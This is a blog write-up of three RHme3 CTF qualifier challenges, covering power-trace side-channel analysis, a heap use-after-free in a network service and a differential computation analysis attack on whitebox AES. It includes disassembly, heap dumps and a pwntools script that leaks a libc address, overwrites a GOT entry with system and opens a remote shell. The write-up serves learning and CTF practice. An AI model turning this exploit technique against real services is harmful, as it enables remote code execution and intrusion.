published on

RHme3 CTF Qualifications

As it turns out, I’ve always avoided CTFs out of fear of just not being good enough to solve even the most basic problems, so when one of my friends talked me about the RHme3 CTF qualifications going on I thought, “yeah, not for me,” and just moved on. However, at 3AM the day after, when I thought while half asleep, “Oh wait, that makes easy content for my blog, jfc.”

And so here comes one of my first CTF writeups!

Tracing the Traces

Well let’s get started with, in my opinion, the easiest challenge of all!
We are greeted in this challenge by this nice screen which gives us access to two useful files containing data, with the overview.png just giving us a view of the voltage measurement.
It shouldn’t take us too much time to realize what this trial is about: Side Channel Analysis.
So I fire up my ChipWhisperer Analyzer then try to import the traces, and… booyah?
Well there’s a catch: those formats cannot be imported directly. The .trs files are, as far as I know, made for Riscure (the company doing this CTF) tools, but I didn’t quite look into them. What I looked into was the mat file and as anyone would do, I looked at what it contained.

# Created by Octave 4.0.3, Fri Aug 04 14:04:39 2017 CEST <andres@kali-andres> Oooh that’s nice, so we know which software was used to save that data. Let’s give it a go!

In the meanwhile I tried looking at ChipWhispere documentation and stumbled upon a CTF example which made use of a matlab file format too! While it was for saving it was already useful to know THIS existed. I proceeded to try to load the file directly into the CW Analyzer but to no luck, the format seemed to be incompatible: ValueError: Unknown mat file type, version 51, 48

And then I waited for Octave to compile…
(What? I’m on Gentoo!)
Once it was done and I assured I could read the data fully, I proceeded to save the file using this nice guide that would help me place said data into the new format needed.

And… h4x0r UI right ahead! (Note the white graph that cannot be themed in black D:)

So now we have the graph and everything feels fine, so let’s try cracking it! After running standard attacks on the trace for general algorithms, I figured it was leading me nowhere so I tried to see where I could’ve messed up, so I printed multiple traces.

It took me a while to figure out by myself WHY this was an issue in the first place, but after skimming through the CW wiki, I encountered this nice article and decided to give it a go.

Ok maybe not like this...

This seems already better!

And now time for the l33t h4x0r part of cracking the key!
If you wish to have an idea about how this step works internally, you should read up on this article. It explains the Correlation Power Analysis based attacks pretty nicely.

Doesn't this remind you of hacker movies?

So let’s input the key…


Incorrect flag

This looked so fricking insanely non-random so wh-



For this one, we have a binary, a server address, and the libc in use.
Old school.
The first thing to figure out was how to connect to the server, so I did a little trace and…
[pid 23556] bind(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("")}, 16) = 0
Wow, that’s really some neat l33t m8.
Let us connect to the server now:

➜  riscure telnet 1337
Connected to
Escape character is '^]'.
Welcome to your TeamManager (TM)!
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice:

First things first: do EVERYTHING YOU CAN.
Seriously. We need to find any weird behaviour before beginning to study the binary, which’ll take us quite some time. As that’s exactly what I did. I settled on something pretty nice; I added one player, selected it and removed it. Then this happened:

Your choice: 5
        A/D/S/P: 32622032,0,0,0

Yes! A use-after-free! For those unfamiliar with the concept, we basically have a pointer in a portion of memory we shouldn’t have access to, allowing us to mess with the flow of the software.

So now that this is done, we should begin to reverse the program and try to run it locally, right?
A little look before reversing tells us our main.elf just straight up exits, so time for a bit more of and inside look with radare2!

[0x0040111f]> pdf
/ (fcn) sym.serve_forever 373
|   sym.serve_forever ();
|           ; var int local_34h @ rbp-0x34
|           ; var int local_30h @ rbp-0x30
|           ; var int local_2ch @ rbp-0x2c
|           ; var int local_28h @ rbp-0x28
|           ; var int local_24h @ rbp-0x24
|           ; var int local_20h @ rbp-0x20
|           ; var int local_1eh @ rbp-0x1e
|           ; var int local_1ch @ rbp-0x1c
|           ; var int local_8h @ rbp-0x8
|              ; CALL XREF from 0x004021bc (main)
|           0x0040111f      55             push rbp
|           0x00401120      4889e5         mov rbp, rsp
|           0x00401123      4883ec40       sub rsp, 0x40               ; '@'
|           0x00401127      897dcc         mov dword [local_34h], edi
|           0x0040112a      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=0x44a8 ; '('
|           0x00401133      488945f8       mov qword [local_8h], rax
|           0x00401137      31c0           xor eax, eax
|           0x00401139      c745d4000000.  mov dword [local_2ch], 0
|           0x00401140      c745d8000000.  mov dword [local_28h], 0
|           0x00401147      c745d0010000.  mov dword [local_30h], 1
|           0x0040114e      be01000000     mov esi, 1                  ; void * func
|           0x00401153      bf11000000     mov edi, 0x11               ; int sig
|           0x00401158      e823fcffff     call sym.imp.signal         ; void signal(int sig, void *func)
|           0x0040115d      ba00000000     mov edx, 0
|           0x00401162      be01000000     mov esi, 1
|           0x00401167      bf02000000     mov edi, 2
|           0x0040116c      e82ffdffff     call sym.imp.socket
|           0x00401171      8945d4         mov dword [local_2ch], eax
|           0x00401174      837dd400       cmp dword [local_2ch], 0
|       ,=< 0x00401178      790a           jns 0x401184
|       |   0x0040117a      bf01000000     mov edi, 1                  ; int status
|       |   0x0040117f      e8ecfcffff     call sym.imp.exit           ; void exit(int status)
|       `-> 0x00401184      488d55d0       lea rdx, [local_30h]
|           0x00401188      8b45d4         mov eax, dword [local_2ch]
|           0x0040118b      41b804000000   mov r8d, 4
|           0x00401191      4889d1         mov rcx, rdx
|           0x00401194      ba02000000     mov edx, 2
|           0x00401199      be01000000     mov esi, 1
|           0x0040119e      89c7           mov edi, eax
|           0x004011a0      e8ebfaffff     call sym.imp.setsockopt
|           0x004011a5      85c0           test eax, eax
|       ,=< 0x004011a7      790a           jns 0x4011b3
|       |   0x004011a9      bf01000000     mov edi, 1                  ; int status
|       |   0x004011ae      e8bdfcffff     call sym.imp.exit           ; void exit(int status)
|       `-> 0x004011b3      488d45e0       lea rax, [local_20h]

After looking a bit at the control flow, we jump to the first exit conditions. The software tries to get a socket and otherwise exits, same for setting its options.

|           0x004011b7      ba10000000     mov edx, 0x10               ; size_t n
|           0x004011bc      be30000000     mov esi, 0x30               ; '0' ; int c
|           0x004011c1      4889c7         mov rdi, rax                ; void *s
|           0x004011c4      e857fbffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
|           0x004011c9      66c745e00200   mov word [local_20h], 2
|           0x004011cf      bf00000000     mov edi, 0
|           0x004011d4      e837fbffff     call sym.imp.htonl
|           0x004011d9      8945e4         mov dword [local_1ch], eax
|           0x004011dc      8b45cc         mov eax, dword [local_34h]
|           0x004011df      0fb7c0         movzx eax, ax
|           0x004011e2      89c7           mov edi, eax
|           0x004011e4      e8f7faffff     call sym.imp.htons
|           0x004011e9      668945e2       mov word [local_1eh], ax
|           0x004011ed      488d4de0       lea rcx, [local_20h]
|           0x004011f1      8b45d4         mov eax, dword [local_2ch]
|           0x004011f4      ba10000000     mov edx, 0x10
|           0x004011f9      4889ce         mov rsi, rcx
|           0x004011fc      89c7           mov edi, eax
|           0x004011fe      e8fdfbffff     call sym.imp.bind
|           0x00401203      85c0           test eax, eax
|       ,=< 0x00401205      790a           jns 0x401211
|       |   0x00401207      bf01000000     mov edi, 1                  ; int status
|       |   0x0040120c      e85ffcffff     call sym.imp.exit           ; void exit(int status)
|       `-> 0x00401211      8b45d4         mov eax, dword [local_2ch]
|           0x00401214      be14000000     mov esi, 0x14
|           0x00401219      89c7           mov edi, eax
|           0x0040121b      e8b0fbffff     call sym.imp.listen
|           0x00401220      85c0           test eax, eax
|       ,=< 0x00401222      790a           jns 0x40122e
|       |   0x00401224      bf01000000     mov edi, 1                  ; int status
|       |   0x00401229      e842fcffff     call sym.imp.exit           ; void exit(int status)
|       |      ; JMP XREF from 0x0040128b (sym.serve_forever)
|      .`-> 0x0040122e      8b45d4         mov eax, dword [local_2ch]
|      |    0x00401231      ba00000000     mov edx, 0
|      |    0x00401236      be00000000     mov esi, 0
|      |    0x0040123b      89c7           mov edi, eax
|      |    0x0040123d      e8eefbffff     call sym.imp.accept
|      |    0x00401242      8945d8         mov dword [local_28h], eax
|      |    0x00401245      e846fcffff     call sym.imp.fork
|      |    0x0040124a      8945dc         mov dword [local_24h], eax
|      |    0x0040124d      837ddc00       cmp dword [local_24h], 0
|      |,=< 0x00401251      790a           jns 0x40125d
|      ||   0x00401253      bf01000000     mov edi, 1                  ; int status
|      ||   0x00401258      e813fcffff     call sym.imp.exit           ; void exit(int status)
|      |`-> 0x0040125d      837ddc00       cmp dword [local_24h], 0
|      |,=< 0x00401261      751e           jne 0x401281
|      ||   0x00401263      8b45d4         mov eax, dword [local_2ch]
|      ||   0x00401266      89c7           mov edi, eax                ; int fildes
|      ||   0x00401268      e8c3faffff     call sym.imp.close          ; int close(int fildes)
|      ||   0x0040126d      8b45d8         mov eax, dword [local_28h]
|      ||   0x00401270      488b4df8       mov rcx, qword [local_8h]
|      ||   0x00401274      6448330c2528.  xor rcx, qword fs:[0x28]
|     ,===< 0x0040127d      7413           je 0x401292
|    ,====< 0x0040127f      eb0c           jmp 0x40128d
|    |||`-> 0x00401281      8b45d8         mov eax, dword [local_28h]
|    |||    0x00401284      89c7           mov edi, eax                ; int fildes
|    |||    0x00401286      e8a5faffff     call sym.imp.close          ; int close(int fildes)
|    ||`==< 0x0040128b      eba1           jmp 0x40122e
|    ||        ; JMP XREF from 0x0040127f (sym.serve_forever)
|    `----> 0x0040128d      e82efaffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|     `---> 0x00401292      c9             leave
\           0x00401293      c3             ret

We see here a bit more about trying to bind and listen to the port 1337, but not really anything useful in regards to why the software is actually exiting on my computer, so let’s follow it and check out some other stuff…

/ (fcn) sym.background_process 236
|   sym.background_process ();
|              ; CALL XREF from 0x004021b2 (main)
|           0x00401033      55             push rbp
|           0x00401034      4889e5         mov rbp, rsp
|           0x00401037      4881ec300100.  sub rsp, 0x130
|           0x0040103e      4889bdd8feff.  mov qword [rbp - 0x128], rdi
|           0x00401045      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=0x44a8 ; '('
|           0x0040104e      488945f8       mov qword [rbp - 8], rax
|           0x00401052      31c0           xor eax, eax
|           0x00401054      488b85d8feff.  mov rax, qword [rbp - 0x128]
|           0x0040105b      4889c7         mov rdi, rax
|           0x0040105e      e82dfdffff     call sym.imp.getpwnam
|           0x00401063      488985e8feff.  mov qword [rbp - 0x118], rax
|           0x0040106a      4883bde8feff.  cmp qword [rbp - 0x118], 0
|       ,=< 0x00401072      750a           jne 0x40107e
|       |   0x00401074      bf01000000     mov edi, 1                  ; int status
|       |   0x00401079      e8f2fdffff     call sym.imp.exit           ; void exit(int status)
|       `-> 0x0040107e      488b95d8feff.  mov rdx, qword [rbp - 0x128] ; ...
|           0x00401085      488d85f0feff.  lea rax, [rbp - 0x110]
|           0x0040108c      be44234000     mov esi, str._opt_riscure__s ; 0x402344 ; "/opt/riscure/%s" ; const char*
|           0x00401091      4889c7         mov rdi, rax                ; char *s
|           0x00401094      b800000000     mov eax, 0
|           0x00401099      e8b2fdffff     call sym.imp.sprintf        ; int sprintf(char *s,
|           0x0040109e      488d85f0feff.  lea rax, [rbp - 0x110]
|           0x004010a5      4889c7         mov rdi, rax
|           0x004010a8      e809ffffff     call sym.daemonize
|           0x004010ad      be00000000     mov esi, 0
|           0x004010b2      bf00000000     mov edi, 0
|           0x004010b7      e884fcffff     call sym.imp.setgroups
|           0x004010bc      85c0           test eax, eax
|       ,=< 0x004010be      790a           jns 0x4010ca
|       |   0x004010c0      bf01000000     mov edi, 1                  ; int status
|       |   0x004010c5      e8a6fdffff     call sym.imp.exit           ; void exit(int status)
|       `-> 0x004010ca      488b85e8feff.  mov rax, qword [rbp - 0x118]
|           0x004010d1      8b4014         mov eax, dword [rax + 0x14] ; [0x14:4]=1
|           0x004010d4      89c7           mov edi, eax
|           0x004010d6      e835fdffff     call sym.imp.setgid
|           0x004010db      85c0           test eax, eax
|       ,=< 0x004010dd      790a           jns 0x4010e9
|       |   0x004010df      bf01000000     mov edi, 1                  ; int status
|       |   0x004010e4      e887fdffff     call sym.imp.exit           ; void exit(int status)
|       `-> 0x004010e9      488b85e8feff.  mov rax, qword [rbp - 0x118]
|           0x004010f0      8b4010         mov eax, dword [rax + 0x10] ; [0x10:4]=0x3e0002
|           0x004010f3      89c7           mov edi, eax
|           0x004010f5      e886fdffff     call sym.imp.setuid
|           0x004010fa      85c0           test eax, eax
|       ,=< 0x004010fc      790a           jns 0x401108
|       |   0x004010fe      bf01000000     mov edi, 1                  ; int status
|       |   0x00401103      e868fdffff     call sym.imp.exit           ; void exit(int status)
|       `-> 0x00401108      90             nop
|           0x00401109      488b45f8       mov rax, qword [rbp - 8]
|           0x0040110d      644833042528.  xor rax, qword fs:[0x28]
|       ,=< 0x00401116      7405           je 0x40111d
|       |   0x00401118      e8a3fbffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       `-> 0x0040111d      c9             leave
\           0x0040111e      c3             ret
There! Just before serve_forever!
As we can see, there the software checks that a user “pwn” exists, append the user “pwn” to /opt/riscure/ string, tries to set correct uid, groups and so on, and if it can’t do all that, it exits.
So now that this is done, let’s create a pwn user, and launch the software with the root user so that it doesn’t complain about gid and uid permissions. And… it doesn’t run? We might have missed something there… hmmm… What does this daemonize function do already…?

/ (fcn) sym.daemonize 125
|   sym.daemonize ();
|           ; var int local_18h @ rbp-0x18
|           ; var int local_8h @ rbp-0x8
|           ; var int local_4h @ rbp-0x4
|              ; CALL XREF from 0x004010a8 (sym.background_process)
|           0x00400fb6      55             push rbp
|           0x00400fb7      4889e5         mov rbp, rsp
|           0x00400fba      4883ec20       sub rsp, 0x20
|           0x00400fbe      48897de8       mov qword [local_18h], rdi
|           0x00400fc2      e899feffff     call sym.imp.getppid
|           0x00400fc7      83f801         cmp eax, 1
|       ,=< 0x00400fca      7464           je 0x401030
|       |   0x00400fcc      e8bffeffff     call sym.imp.fork
|       |   0x00400fd1      8945f8         mov dword [local_8h], eax
|       |   0x00400fd4      837df800       cmp dword [local_8h], 0
|      ,==< 0x00400fd8      790a           jns 0x400fe4
|      ||   0x00400fda      bf01000000     mov edi, 1                  ; int status
|      ||   0x00400fdf      e88cfeffff     call sym.imp.exit           ; void exit(int status)
|      `--> 0x00400fe4      837df800       cmp dword [local_8h], 0
|      ,==< 0x00400fe8      7e0a           jle 0x400ff4
|      ||   0x00400fea      bf00000000     mov edi, 0                  ; int status
|      ||   0x00400fef      e87cfeffff     call sym.imp.exit           ; void exit(int status)
|      `--> 0x00400ff4      e857fdffff     call sym.imp.setsid
|       |   0x00400ff9      8945fc         mov dword [local_4h], eax
|       |   0x00400ffc      837dfc00       cmp dword [local_4h], 0
|      ,==< 0x00401000      790a           jns 0x40100c
|      ||   0x00401002      bf01000000     mov edi, 1                  ; int status
|      ||   0x00401007      e864feffff     call sym.imp.exit           ; void exit(int status)
|      `--> 0x0040100c      bf00000000     mov edi, 0                  ; int m
|       |   0x00401011      e88afdffff     call sym.imp.umask          ; int umask(int m)
|       |   0x00401016      488b45e8       mov rax, qword [local_18h]
|       |   0x0040101a      4889c7         mov rdi, rax
|       |   0x0040101d      e88efcffff     call sym.imp.chdir
|       |   0x00401022      85c0           test eax, eax
|      ,==< 0x00401024      790b           jns 0x401031
|      ||   0x00401026      bf01000000     mov edi, 1                  ; int status
|      ||   0x0040102b      e840feffff     call sym.imp.exit           ; void exit(int status)
|      |`-> 0x00401030      90             nop
|      `--> 0x00401031      c9             leave
\           0x00401032      c3             ret
AH! This explains a lot! So what this piece of code does is at first fork the process and kill its father (How dare you, child! Legacy issues aren’t a reason to kill your father!) and sets itself to the privileges of the pwn user. It then proceeds to change its flow of execution to the directory provided before and, again, exits if it can’t.

That’s what we missed.
The fricking /opt/riscure/pwn.
So we now create the folder and… it runs! Great, now we can FINALLY begin to pwn it.

Since we got a libc with our binary for exploit purposes, my first thought has been a ret2libc attack. In a nutshell, this means you, using arguments already provided, make one function of the software jump to libc and execute it instead of the original one. For the uninformed, libc has the function system which allows you to run any command, including /bin/sh, effectively spawning a shell.

The first thing to know for this kind of attack is where to put the argument and how to use it.
The first question is pretty straightforward: we have a name space, so let’s put our process there!
The second part requires a bit of reversing:

|     ||    0x004018f4      bfbb244000     mov edi, str.Enter_player_name: ; 0x4024bb ; "Enter player name: " ; const char * format
|     ||    0x004018f9      b800000000     mov eax, 0
|     ||    0x004018fe      e8fdf3ffff     call sym.imp.printf         ; int printf(const char *format)
|     ||    0x00401903      488b05561820.  mov rax, qword obj.stdout   ; [0x603160:8]=0x342e352075746e75 rdi ; "untu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609"
|     ||    0x0040190a      4889c7         mov rdi, rax                ; FILE *stream
|     ||    0x0040190d      e8aef4ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|     ||    0x00401912      488d85f0feff.  lea rax, [local_110h]
|     ||    0x00401919      ba00010000     mov edx, 0x100              ; size_t nbyte
|     ||    0x0040191e      be00000000     mov esi, 0                  ; int c
|     ||    0x00401923      4889c7         mov rdi, rax                ; void *s
|     ||    0x00401926      e8f5f3ffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
|     ||    0x0040192b      488d85f0feff.  lea rax, [local_110h]
|     ||    0x00401932      be00010000     mov esi, 0x100              ; void *buf
|     ||    0x00401937      4889c7         mov rdi, rax                ; int fildes
|     ||    0x0040193a      e884fbffff     call sym.readline           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|     ||    0x0040193f      488d85f0feff.  lea rax, [local_110h]
|     ||    0x00401946      4889c7         mov rdi, rax                ; const char * s
|     ||    0x00401949      e852f3ffff     call sym.imp.strlen         ; size_t strlen(const char *s)

We are there looking at what happens with the name when adding a player.
We can see here that two functions seems appropriate for the deal: readline and strlen.
strlen seems better for our work since there is only one argument and it is the string stripped from unecessary bytes, so let’s go with that.

Now that we have an idea on how to exploit this software, let’s try to get an idea of how to make the exploit work!
The first thing to note is that the system does not make use of system, so we have to find another place than the GOT to jump to, i.e. libc directly.
We then need to leak the real address of strlen from libc in order to calculate libc’s base address and then system’s address. Then we need to execute system at the place of strlen.

Let’s dump the memory now to see how we can set up the heap:

0x006825e0  6865 6c6c 6f0d 0000 380b 1915 3000 0000  hello...8...0...
0x006825f0  0000 0000 0000 0000 2100 0000 0000 0000  ........!.......
0x00682600  0300 0000 0300 0000 0300 0000 0300 0000  ................
0x00682610  2026 6800 0000 0000 2100 0000 0000 0000   &h.....!.......
0x00682620  676f 6f64 6279 650d 000b 1915 3000 0000  goodbye.....0...
0x00682630  0000 0000 0000 0000 c100 0000 0000 0000  ................
0x00682640  380b 1915 3000 0000 380b 1915 3000 0000  8...0...8...0...

As we can see, we have around 64 bytes between one player and another, with names padded.

To ensure where we write, here is the memory after we selected “goodbye”, removed both players, and added a new one, named PWNME:

0x006825e0  5057 4e4d 450d 0000 380b 1915 3000 0000  PWNME...8...0...
0x006825f0  0000 0000 0000 0000 2100 0000 0000 0000  ........!.......
0x00682600  1026 6800 0000 0000 0300 0000 0300 0000  .&h.............
0x00682610  2026 6800 0000 0000 2100 0000 0000 0000   &h.....!.......
0x00682620  0000 0000 0000 0000 000b 1915 3000 0000  ............0...
0x00682630  0000 0000 0000 0000 c100 0000 0000 0000  ................
0x00682640  380b 1915 3000 0000 380b 1915 3000 0000  8...0...8...0...

And then the memory after we edited our old selected goodbye:

0x006825e0  5057 4e4d 450d 0000 380b 1915 3000 0000  PWNME...8...0...
0x006825f0  0000 0000 0000 0000 2100 0000 0000 0000  ........!.......
0x00682600  1026 6800 0000 0000 0300 0000 0300 0000  .&h.............
0x00682610  2026 6800 0000 0000 2100 0000 0000 0000   &h.....!.......
0x00682620  5520 5220 5057 4e45 440d 0015 3000 0000  U R PWNED...0...
0x00682630  0000 0000 0000 0000 c100 0000 0000 0000  ................
0x00682640  380b 1915 3000 0000 380b 1915 3000 0000  8...0...8...0...

Now that we know this, the idea is to leak the address of strlen through this UAF and overwrite the GOT entry by system’s address thanks to the leak.

“So how would you leak the address first,” you might think? It’s actually fairly trivial: we need to figure out what reads what, so let us show the freed user when no user is there.

Your choice: 5
        A/D/S/P: 6825488,0,1,1

6825488 in hex is 68 26 10, present just before the string “goodbye” in our memory views. So we need to pad 16bytes before the string, and then we’ll add a pointer to the GOT, hoping it’ll give us the real address!

So let us use pwntools to retrieve those GOT offsets easily and…

[DEBUG] Received 0xe bytes:
    00000000  09 4e 61 6d  65 3a 20 20  c7 cd a9 36  7f 0a        │·Nam│e:  │···6│··│

IT WORKED!! We can now retrieve the beautiful address of our system call and overwrite it. How, you may ask? Well we can print the content of the GOT pointer of strlen thanks to our name, so can’t we modify its contents too…?

That’s right: edit the name of our pwnd pointer and we’re done. We just have to launch strlen one way or another, i.e. by adding a new user.

Let’s write a script to actually do that for us:

from pwn import *

libc = ELF('')
rhme = ELF('main.elf')

context.os = 'linux'
context.bits = 64
context.arch = 'amd64'
context.endian = 'little'

conn = remote('', 1337)

#Wait for the menu to come in
conn.recvuntil('Your choice: ')

#Add our first user
conn.recvuntil('Enter player name: ')
for i in range(4):
    conn.recvuntil(': ')
conn.recvuntil('Your choice: ')

#We add our second user
conn.recvuntil('Enter player name: ')
for i in range(4):
    conn.recvuntil(': ')
conn.recvuntil('Your choice: ')

#Select pwnd
conn.recvuntil('Enter index: ')
conn.recvuntil('Your choice: ')

#Remove pwnd and random name
conn.recvuntil('Enter index: ')
conn.recvuntil('Your choice: ')

conn.recvuntil('Enter index: ')
conn.recvuntil('Your choice: ')

conn.recvuntil('Enter player name: ')

#Make the user name print the value pointed by the got address to leak
conn.sendline('A'*16 + p64(['strlen'])[:-1])
for i in range(4):
    conn.recvuntil(': ')
conn.recvuntil('Your choice: ')

#Getting the leaked strlen real address
conn.recvuntil('Name: ')
strlen = u64(conn.recvline().rstrip().ljust(8, '\x00'))
conn.recvuntil('Your choice: ')

#Getting the base address of libc
libcreal = strlen - libc.symbols['strlen']

#Let's now edit pwnd name, which will overwrite strlen GOT
conn.recvuntil('Your choice: ')
conn.recvuntil('name: ')
conn.sendline(p64(libcreal + libc.symbols['system'])[:-1])
conn.recvuntil('Your choice: ')
conn.recvuntil('Your choice: ')

#DONE, Now just trigger strlen with our software to run, in this case /bin/sh to
#get a remote shell
conn.recvuntil('Enter player name: ')

#The shell's in hell

Let us now run the script and…

[*] Switching to interactive mode


$ ls
$ cat flag


Heap, creator of troubles since approximately 1950.

White Box Unboxing

And here comes the final part and, for me, the hardest. The required work itself wasn’t hard. In fact, I think exploitation won the round this time, but the difficulty was in simply knowing how to attack and, for once, I can fully say that if you didn’t know about it, you didn’t read enough phrack.

So what is this challenge about?

Getting an AES key from a piece of software and computing said AES algorithm.
It should just be a matter of extracting a key, maybe encrypted, from the software then, right? Sound easy enough? Hell no, it isn’t. If you don’t know why, I highly encourage you to read the phrack article, but otherwise spoiler alert:

There is no key to extract.

“How can we crack it then?”
After a few hours of dynamic reverse engineering, I finally decided to look up on whitebox cryptography and… I was not disappointed.


Either way, after waiting some long hours for GCC 4.9 to compile (thanks to Intel’s PIN suite which didn’t work), compiling a custom valgrind, and many hours of ranting, I finally got my first traces of the software!

Oh yeah, I forgot to tell you how the attack works: basically you trace the execution of the program, then analyze a region that seems nice once visualized, and automate more traces while taking more inputs and outputting some attacks on those traces. As I’m not an expert on how this is done exactly and that I’ve had very little time to do this CTF, I’ll let you search for yourself. I like to try and be as pragmatic as possible, so I won’t (willingly) go and say something that could be ridiculously wrong!

Either way, let’s look at our traces from TracerGrind and sqlitetrace:

Sexy traces

After loads of trial and error (and IRC), I finally managed to find the correct AES pattern in those traces to try to analyze.
As a matter of fact, at first I just skipped the address altogether during the challenge. I added it for the CTF as I thougt that a 10x speedup or so wasn’t a bad thing. :p

Sexy Rjindael

This seems nice, so let’s take those addresses as a reference: 0x463482-0x463fff

So now that we know where to look, what should we do?

Get moar traces, my friend!

I inspired myself with this script. To make my own script for this whitebox tracer collector:

import sys
sys.path.insert(0, '../../')
from deadpool_dca import *

def processinput(iblock, blocksize):
    #Send the input as raw bytes
    return (None, [''.join(chr((iblock>>8*(16-byte-1))&0xFF) for byte in range(16))])

def processoutput(output, blocksize):
    # Get output from plaintext hex
    return int(''.join(output.split()), 16)

        processinput, processoutput, ARCH.amd64, 16, addr_range='0x463482-0x463fff')

bin2daredevil(configs={'attack_sbox':   {'algorithm':'AES','position':'LUT/AES_AFTER_SBOX'}})

Seems good! Let’s now collect traces shall we?
Wait… something is off…
If we wish to actually send arguments, the bytes to encode them have to be strings. To make execve not yell at you, the arguments are non-string, so let us also patch deadpool_dca to limit the entropy:

<             iblock=random.randint(0, (1<<(8*self.blocksize))-1)
>             iblock=0
>             for y in range(0,16):
>                 #ASCII printable-by-terminal characters only
>                 #begin at 0x21 because 0x20 is space, might mess up
>                 iblock += random.randint(0x21, 0x7E) << (8 * y)

And there we go, time to now launch our attack!
➜ DCA git:(master) ✗ python

00000 3F2C472944502B74664B496C51422332 -> 24E56795E5D616D92730B891091E042D
00001 5F317B7E59282D2778756E5C7A48227A -> 4DACE0B89B299EE3CA4668CF210C05C9

➜ DCA git:(master) ✗ ./daredevil -c mem_addr1_rw1_50_7040.attack_sbox.config

Most probable key sum(abs):
1: 124.213: 61316c5f7434623133355f525f6f5235
2: 121.554: 61316c5f743462313335d3525f6f5235
3: 121.541: 61316c5f743462313335a1525f6f5235
4: 121.507: 61316c5f3c34623133355f525f6f5235
5: 121.413: 61316c5f7434623133358c525f6f5235
6: 121.409: 61316c5f74346231333587525f6f5235
7: 121.392: 61314c5f7434623133355f525f6f5235
8: 118.848: 61316c5f3c3462313335d3525f6f5235
9: 118.835: 61316c5f3c3462313335a1525f6f5235
10: 118.732: 61314c5f743462313335d3525f6f5235

Most probable key max(abs):
1: 16: 61316c5f7434623133355f525f6f5235
2: 15.8: 61316c5b7434623133355f525f6f5235
3: 15.7863: 61316c5f3c34623133355f525f6f5235
4: 15.7628: 61316c5f7434623133355f52566f5235
5: 15.7613: 6131885f7434623133355f525f6f5235
6: 15.5863: 61316c5b3c34623133355f525f6f5235
7: 15.5628: 61316c5b7434623133355f52566f5235
8: 15.5613: 6131885b7434623133355f525f6f5235
9: 15.5491: 61316c5f3c34623133355f52566f5235
10: 15.5476: 6131885f3c34623133355f525f6f5235
[INFO] Total attack of file LUT/AES_AFTER_SBOX done in 28.344149 seconds.

Well this seems nice! Finally solved! Let’s -


Incorrect flag

While the issue might sound pretty stupid, it actually took me several hours to figure this out until I fired up radare2 and inserted one of those keys.

- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF  comment
  0x00000000  6131 6c5f 7434 6231 3335 5f52 5f6f 5235  a1l_t4b135_R_oR5


Now this was a frustrating challenge.

Another thing I’d like to add before closing this post is that whitebox was really frustrating, as you never knew if you did anything wrong and whatnot. It was a lot of trial and error due to inexperience in the field and, while it made me learn quite a bit, it also means it took quite some time to figure everything out. :p